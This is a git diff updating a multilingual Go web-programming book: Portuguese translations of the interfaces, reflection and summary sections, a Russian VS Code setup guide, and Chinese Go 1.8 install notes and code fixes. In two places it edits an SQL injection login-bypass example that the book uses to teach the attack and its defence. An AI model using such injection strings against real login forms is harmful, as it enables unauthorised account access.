variable of boolean type, "element" is the interface variable and the T is the type of assertion. +- Declaração do padrão Comma-ok (Vírgula-ok) -If the element is the type that we expect, ok will be true, false otherwise. +Go possui a sintaxe `value, ok := element.(T)`. Isso verifica se a variável é o tipo que esperamos, onde "value" (valor) é o valor da variável, "ok" é uma variável de tipo booleano, "element" (elemento) é a variável da interface e T é o tipo da declaração. -Let's use an example to see more clearly. +Se o elemento é o tipo que esperamos, ok será verdadeiro, e falso caso contrário. + +Vamos usar um exemplo para ver mais claramente. package main - + import ( "fmt" "strconv" ) - + type Element interface{} type List []Element - + type Person struct { name string age int } - + func (p Person) String() string { return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" } - + func main() { list := make(List, 3) - list[0] = 1 // an int - list[1] = "Hello" // a string + list[0] = 1 // um int (inteiro) + list[1] = "Hello" // uma string (cadeia de caracteres) list[2] = Person{"Dennis", 70} - + for index, element := range list { if value, ok := element.(int); ok { fmt.Printf("list[%d] is an int and its value is %d\n", index, value) @@ -276,37 +276,37 @@ Let's use an example to see more clearly. } } -It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. +É muito fácil usar esse padrão, mas se tivermos muitos tipos para testar, é melhor usar `switch`. -- switch test +- teste de comutação (switch test) + +Vamos usar `switch` para reescrever o exemplo acima. -Let's use `switch` to rewrite the above example. - package main - + import ( "fmt" "strconv" ) - + type Element interface{} type List []Element - + type Person struct { name string age int } - + func (p Person) String() string { return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" } - + func main() { list := make(List, 3) - list[0] = 1 //an int - list[1] = "Hello" //a string + list[0] = 1 // um int (inteiro) + list[1] = "Hello" // uma string (cadeia de caracteres) list[2] = Person{"Dennis", 70} - + for index, element := range list { switch value := element.(type) { case int: @@ -321,75 +321,75 @@ Let's use `switch` to rewrite the above example. } } - -One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . -### Embedded interfaces +Uma coisa que você deve lembrar é que `element.(type)` não pode ser usado fora do corpo do `switch`, o que significa que nesse caso você tem que usar o padrão `comma-ok`. -The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will have as if it has all the methods that the embedded interface has. +### Interfaces incorporadas (embedded interfaces) -We can see that the source file in `container/heap` has the following definition: +A coisa mais bonita é que Go tem várias sintaxes lógicas incorporadas, como campos anônimos em estruturas. Não supreendentemente, podemos usar interfaces como campos anônimos também, mas chamamos-lhes de `Embedded interfaces` (interfaces incorporadas). Aqui, seguimos as mesmas regras que campos anônimos. Mais especificamente, se uma interface tiver outra interface incorporada no seu interior, isso será como se ela possuísse todos os métodos que a interface incorporada tem. + +Podemos ver que o arquivo fonte em `container/heap` tem a seguinte definição: type Interface interface { - sort.Interface // embedded sort.Interface - Push(x interface{}) //a Push method to push elements into the heap - Pop() interface{} //a Pop elements that pops elements from the heap + sort.Interface // sort.Interface incorporado + Push(x interface{}) // um método Push para empurrar elementos para a pilha + Pop() interface{} // um método Pop para remover elementos da pilha } -We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. +Vemos que `sort.Interface` é uma interface incorporada, então a interface acima tem os três métodos contidos em `sort.Interface` implicitamente. type Interface interface { - // Len is the number of elements in the collection. + // Len é o número de elementos na coleção. Len() int - // Less returns whether the element with index i should sort - // before the element with index j. + // Less retorna se o elemento com índice i deve ser ordenado + // antes do elemento com o índice j. Less(i, j int) bool - // Swap swaps the elements with indexes i and j. + // Swap troca os elementos com índices i e j. Swap(i, j int) } - -Another example is the `io.ReadWriter` in package `io`. + +Outro exemplo é o `io.ReadWriter` no pacote `io`. // io.ReadWriter type ReadWriter interface { Reader Writer } - + ### Reflection -Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. +Reflection em Go é usado para determinar informações em tempo de execução. Usamos o pacote `reflect`, e este [artigo](http://golang.org/doc/articles/laws_of_reflection.html) oficial explica como reflect funciona em Go. -There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). +Há três etapas envolvidas quando usamos reflect. Primeiro, precisamos converter um interface para tipos reflect (reflect.Type ou reflect.Value, isso depende da situação). - t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements - v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value - -After that, we can convert the reflected types to get the values that we need. + t := reflect.TypeOf(i) // recebe meta-dados no tipo i, e usa t para receber todos os elementos + v := reflect.ValueOf(i) // recebe o valor atual no tipo i, e usa v para alterar seu valor + +Depois disso, podemos converter os tipos reflect para obter os valores que precisamos. var x float64 = 3.4 v := reflect.ValueOf(x) fmt.Println("type:", v.Type()) fmt.Println("kind is float64:", v.Kind() == reflect.Float64) fmt.Println("value:", v.Float()) - -Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. + +Finalmente, se quisermos mudar os valores dos tipos reflect, precisamos torná-los modificáveis. Como discutido anteriormente, há uma diferença entre passar por valor e passar por referência. O código a seguir não compilará. var x float64 = 3.4 v := reflect.ValueOf(x) v.SetFloat(7.1) - -Instead, we must use the following code to change the values from reflect types. + +Em vez disso, precisamos usar o seguinte código para alterar os valores dos tipos reflect. var x float64 = 3.4 p := reflect.ValueOf(&x) v := p.Elem() v.SetFloat(7.1) -We have just discussed the basics of reflection, however you must practice more in order to understand more. +Acabamos de discutir os fundamentos de reflect, no entanto você deve praticar mais para entender mais. ## Links -- [Directory](preface.md) -- Previous section: [Object-oriented](02.5.md) -- Next section: [Concurrency](02.7.md) +- [Sumário](preface.md) +- Seção Anterior: [Orientação a Objetos](02.5.md) +- Próxima Seção: [Concorrência](02.7.md) diff --git a/pt-br/02.8.md b/pt-br/02.8.md index b1306758..8830033a 100644 --- a/pt-br/02.8.md +++ b/pt-br/02.8.md @@ -1,6 +1,6 @@ -# 2.8 Summary +# 2.8 Resumo -In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. +Neste capítulo introduzimos principalmente as 25 palavras-chave em Go. Vamos rever quais são elas e o que elas fazem. break default func interface select case defer go map struct @@ -8,25 +8,25 @@ In this chapter, we mainly introduced the 25 Go keywords. Let's review what they const fallthrough if range type continue for import return var -- `var` and `const` are used to define variables and constants. -- `package` and `import` are for package use. -- `func` is used to define functions and methods. -- `return` is used to return values in functions or methods. -- `defer` is used to define defer functions. -- `go` is used to start a new goroutine. -- `select` is used to switch over multiple channels for communication. -- `interface` is used to define interfaces. -- `struct` is used to define special customized types. -- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3. -- `chan` is the type of channel for communication among goroutines. -- `type` is used to define customized types. -- `map` is used to define map which is similar to hash tables in other languages. -- `range` is used for reading data from `slice`, `map` and `channel`. +- `var` e `const` são usadas para definir variáveis e constantes. +- `package` e `import` são para o uso de pacotes. +- `func` é usada para definir funções e métodos. +- `return` é usada para retornar valores em funções ou métodos. +- `defer` é usada para definir funções defer (funções de adiamento). +- `go` é usada para iniciar uma nova goroutine. +- `select` é usada para alternar entre múltiplos canais para comunicação. +- `interface` é usada para definir interfaces. +- `struct` é usada para definir tipos personalizados. +- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` e `default` foram introduzidas na seção 2.3. +- `chan` é o tipo de canal para comunicação entre goroutines. +- `type` é usada para definir tipos personalizados. +- `map` é usada para definir um map (mapa) que é semelhante a tabelas hash em outras linguagens. +- `range` é usada para ler dados de `slice`, `map` e `channel`. -If you understand how to use these 25 keywords, you've learned a lot of Go already. +Se você entender como utilizar estas 25 palavras-chave, você já aprendeu bastante sobre Go. ## Links -- [Directory](preface.md) -- Previous section: [Concurrency](02.7.md) -- Next chapter: [Web foundation](03.0.md) +- [Sumário](preface.md) +- Seção anterior: [Concorrência](02.7.md) +- Próximo Capítulo: [Web foundation](03.0.md) diff --git a/pt-br/09.4.md b/pt-br/09.4.md index d8823175..a7ef0f4b 100644 --- a/pt-br/09.4.md +++ b/pt-br/09.4.md @@ -32,7 +32,7 @@ If the user inputs a user name or password as: Then our SQL becomes the following: - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. diff --git a/ru/01.4.md b/ru/01.4.md index 15c33b75..a451e823 100644 --- a/ru/01.4.md +++ b/ru/01.4.md @@ -399,9 +399,29 @@ Eclipse также является отличным инструментом р ![](images/1.4.idea5.png?raw=true) Введите расположение Go sdk на следующем шаге - скорее всего, это $GOROOT. - -( ***Смотрите [Пост блога](http://wuwen.org/tips-about-using-intellij-idea-and-go/) об установке и использовании IntelliJ IDEA с Go шаг за шагом*** ) + ## Visual Studio Code + + Visual Studio Code это редактор кода, но при этом обладающий функциями IDE, полагающийся на расширения. + + ![](images/1.4.vscode1.png?raw=true) + +- Скачайте [vscode](https://code.visualstudio.com/). + +- Установите плагин Go. Выберите в левой панели `Расширения` или нажмите `CTRL+SHIFT+X`, затем выберите в поиске расширений `Go` от likehoban. + + ![](images/1.4.vscode2.png?raw=true) + +- Также необходимо, чтобы уже был установлен Go, настроен GOROOT и GOPATH. + +- Далее необходимо установить дополнительные пакеты для Go: + +Открываем в vscode любой go-файл, после чего в нижнем правом углу увидим сообщение “Analysis Tools Missing”. Надо нажать на это сообщение и недостающие пакеты установятся автоматически. + +- Теперь можно создавать проект Go. + + ![](images/1.4.vscode3.png?raw=true) + ## Ссылки - [Содержание](preface.md) diff --git a/ru/03.3.md b/ru/03.3.md index d87018f6..ccf7b96a 100644 --- a/ru/03.3.md +++ b/ru/03.3.md @@ -10,7 +10,7 @@ Response: данные ответа от сервера. Conn: соединения между клиентами и серверами. -Handler: логика обработки запроса и получение ответа. +Handler: логика обработки запроса и генерация ответа. ## механизм работы пакета http diff --git a/ru/images/1.4.vscode1.png b/ru/images/1.4.vscode1.png new file mode 100644 index 00000000..9ca7954e Binary files /dev/null and b/ru/images/1.4.vscode1.png differ diff --git a/ru/images/1.4.vscode2.png b/ru/images/1.4.vscode2.png new file mode 100644 index 00000000..1e8d205b Binary files /dev/null and b/ru/images/1.4.vscode2.png differ diff --git a/ru/images/1.4.vscode3.png b/ru/images/1.4.vscode3.png new file mode 100644 index 00000000..943f0088 Binary files /dev/null and b/ru/images/1.4.vscode3.png differ diff --git a/ru/preface.md b/ru/preface.md index 76103dae..074031e2 100644 --- a/ru/preface.md +++ b/ru/preface.md @@ -13,19 +13,11 @@ - 2.6. [Интерфейсы](02.6.md) - 2.7. [Многопоточность](02.7.md) - 2.8. [Итоги раздела](02.8.md) -<<<<<<< HEAD - 3.[Основы Веба](03.0.md) - 3.1. [Принципы работы веб](03.1.md) - 3.2. [Создание простого веб-сервера](03.2.md) - 3.3. [Как Go работает с веб](03.3.md) - 3.4. [Внутренний мир пакета http](03.4.md) -======= -- 3.[Web foundation](03.0.md) - - 3.1. [Web working principles](03.1.md) - - 3.2. [Build a simple web server](03.2.md) - - 3.3. [How Go works with web](03.3.md) - - 3.4. [Get into http package](03.4.md) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa - 3.5. [Итоги раздела](03.5.md) - 4.[Пользовательские формы](04.0.md) - 4.1. [Работа с формами](04.1.md) @@ -34,11 +26,7 @@ - 4.4. [Дублирование отправки](04.4.md) - 4.5. [Загрузка файлов](04.5.md) - 4.6. [Итоги раздела](04.6.md) -<<<<<<< HEAD - 5.[Базы данных](05.0.md) -======= -- 5.[Database](05.0.md) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa - 5.1. [database/sql interface](05.1.md) - 5.2. [MySQL](05.2.md) - 5.3. [SQLite](05.3.md) diff --git a/zh/01.1.md b/zh/01.1.md index e8c1c1f5..aee55c0e 100644 --- a/zh/01.1.md +++ b/zh/01.1.md @@ -46,6 +46,7 @@ Go 1.5彻底移除C代码,Runtime、Compiler、Linker均由Go编写,实现自 如果出现Go的Usage信息,那么说明Go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。 +从go 1.8开始,GOPATH环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 > 关于上面的GOPATH将在下面小节详细讲解 ## Go标准包安装 @@ -78,7 +79,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 ### Mac 安装 -访问[下载地址][downlink],32位系统下载go1.4.2.darwin-386-osx10.8.pkg(最新版已无32位下载),64位系统下载go1.7.4.darwin-amd64.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go` +访问[下载地址][downlink],32位系统下载go1.4.2.darwin-386-osx10.8.pkg(更新版已无32位下载),64位系统下载go1.8.darwin-amd64.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go` 看到类似上面源码安装成功的图片说明已经安装成功 @@ -86,11 +87,11 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 ### Linux 安装 -访问[下载地址][downlink],32位系统下载go1.7.4.linux-386.tar.gz,64位系统下载go1.7.4.linux-amd64.tar.gz, +访问[下载地址][downlink],32位系统下载go1.8.linux-386.tar.gz,64位系统下载go1.8.linux-amd64.tar.gz, 假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。 -解压缩`tar.gz`包到安装目录下:`tar zxvf go1.7.4.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 +解压缩`tar.gz`包到安装目录下:`tar zxvf go1.8.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 设置PATH,`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` @@ -104,7 +105,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 ### Windows 安装 ### -访问[Google Code 下载页][downlink],32 位请选择名称中包含 windows-386 的 msi 安装包,64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 +访问[Golang 下载页][downlink],32 位请选择名称中包含 windows-386 的 msi 安装包,64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 **验证是否安装成功** @@ -124,11 +125,11 @@ gvm是第三方开发的Go多版本管理工具,类似ruby里面的rvm工具 安装完成后我们就可以安装go了: ```sh - gvm install go1.7.4 - gvm use go1.7.4 + gvm install go1.8 + gvm use go1.8 ``` 也可以使用下面的命令,省去每次调用gvm use的麻烦: - gvm use go1.7.4 --default + gvm use go1.8 --default 执行完上面的命令之后GOPATH、GOROOT等环境变量会自动设置好,这样就可以直接使用了。 @@ -140,15 +141,32 @@ Ubuntu是目前使用最多的Linux桌面系统,使用`apt-get`命令来管理 sudo add-apt-repository ppa:gophers/go sudo apt-get update sudo apt-get install golang-stable git-core mercurial -```` -###wget +``` +### wget ```sh -wget https://storage.googleapis.com/golang/go1.7.4.linux-amd64.tar.gz -sudo tar -xzf go1.7.4.linux-amd64.tar.gz -C /usr/local -export PATH=PATH:/usr/local/go/binexportGOROOT=HOME/go -export PATH=PATH:GOROOT/bin -export GOPATH=HOME/gowork +wget https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz +sudo tar -xzf go1.8.linux-amd64.tar.gz -C /usr/local +``` + +配置环境变量: +```sh + +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath (可选设置) +``` +或者使用: +```sh +sudo vim /etc/profile +``` +并添加下面的内容: +```sh +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath (可选设置) ``` ### homebrew diff --git a/zh/01.2.md b/zh/01.2.md index 5c708666..abe528bf 100644 --- a/zh/01.2.md +++ b/zh/01.2.md @@ -1,7 +1,8 @@ # 1.2 GOPATH与工作空间 -前面我们在安装Go的时候看到需要设置GOPATH变量,Go从1.1版本开始必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg +前面我们在安装Go的时候看到需要设置GOPATH变量,Go从1.1版本到1.7必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg +从go 1.8开始,GOPATH环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 ## GOPATH设置 go 命令依赖一个重要的环境变量:$GOPATH diff --git a/zh/01.4.md b/zh/01.4.md index 8f298174..d8942210 100644 --- a/zh/01.4.md +++ b/zh/01.4.md @@ -299,7 +299,7 @@ Atom是Github基于Electron和web技术构建的开源编辑器, 是一款很漂 就会开始安装 go-plus , go-plus 插件会自动安装对应的依赖插件,如果没有安装对应的go的类库会自动运行: go get 安装。 -##Gogland +## Gogland Gogland是JetBrains公司推出的Go语言集成开发环境,是Idea Go插件是强化版。Gogland同样基于IntelliJ平台开发,支持JetBrains的插件体系。 diff --git a/zh/02.7.md b/zh/02.7.md index a1095401..55dc8cbc 100644 --- a/zh/02.7.md +++ b/zh/02.7.md @@ -4,7 +4,7 @@ ## goroutine -goroutine是Go并行设计的核心。goroutine说到底其实就是线程,但是它比线程更小,十几个goroutine可能体现在底层就是五六个线程,Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB),当然会根据相应的数据伸缩。也正因为如此,可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。 +goroutine是Go并行设计的核心。goroutine说到底其实就是协程,但是它比线程更小,十几个goroutine可能体现在底层就是五六个线程,Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB),当然会根据相应的数据伸缩。也正因为如此,可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。 goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。 ```Go diff --git a/zh/04.1.md b/zh/04.1.md index bb1ab16b..95f8d8de 100644 --- a/zh/04.1.md +++ b/zh/04.1.md @@ -81,7 +81,7 @@ login函数中我们根据`r.Method`来判断是显示登录界面还是处理 我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的,为什么呢?默认情况下,Handler里面是不会自动解析form的,必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。 -`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所有当你在URL的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。 +`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所以当你在URL中的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。 现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`,再次测试,服务器的输出username是不是一个slice。服务器端的输出如下: @@ -104,9 +104,9 @@ login函数中我们根据`r.Method`来判断是显示登录界面还是处理 ``` >**Tips**: -Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。 +>Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。 ## links - * [目录]() +* [目录]() * 上一节: [表单](<04.0.md>) * 下一节: [验证表单的输入](<04.2.md>) diff --git a/zh/04.2.md b/zh/04.2.md index 3103c74e..7081428a 100644 --- a/zh/04.2.md +++ b/zh/04.2.md @@ -97,7 +97,7 @@ slice:=[]string{"apple","pear","banane"} v := r.Form.Get("fruit") - for item in slice { + for _, item range slice { if item == v { return true } diff --git a/zh/05.6.md b/zh/05.6.md index fd913fb6..bac319d8 100644 --- a/zh/05.6.md +++ b/zh/05.6.md @@ -24,7 +24,7 @@ Go目前支持redis的驱动有如下 "fmt" "github.com/garyburd/redigo/redis" "os" - "os/signal" + "os/signal" "syscall" "time" ) diff --git a/zh/09.4.md b/zh/09.4.md index d576a168..4050c750 100644 --- a/zh/09.4.md +++ b/zh/09.4.md @@ -35,7 +35,7 @@ SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常 那么我们的SQL变成了如下所示: ```Go - SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' ``` 在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。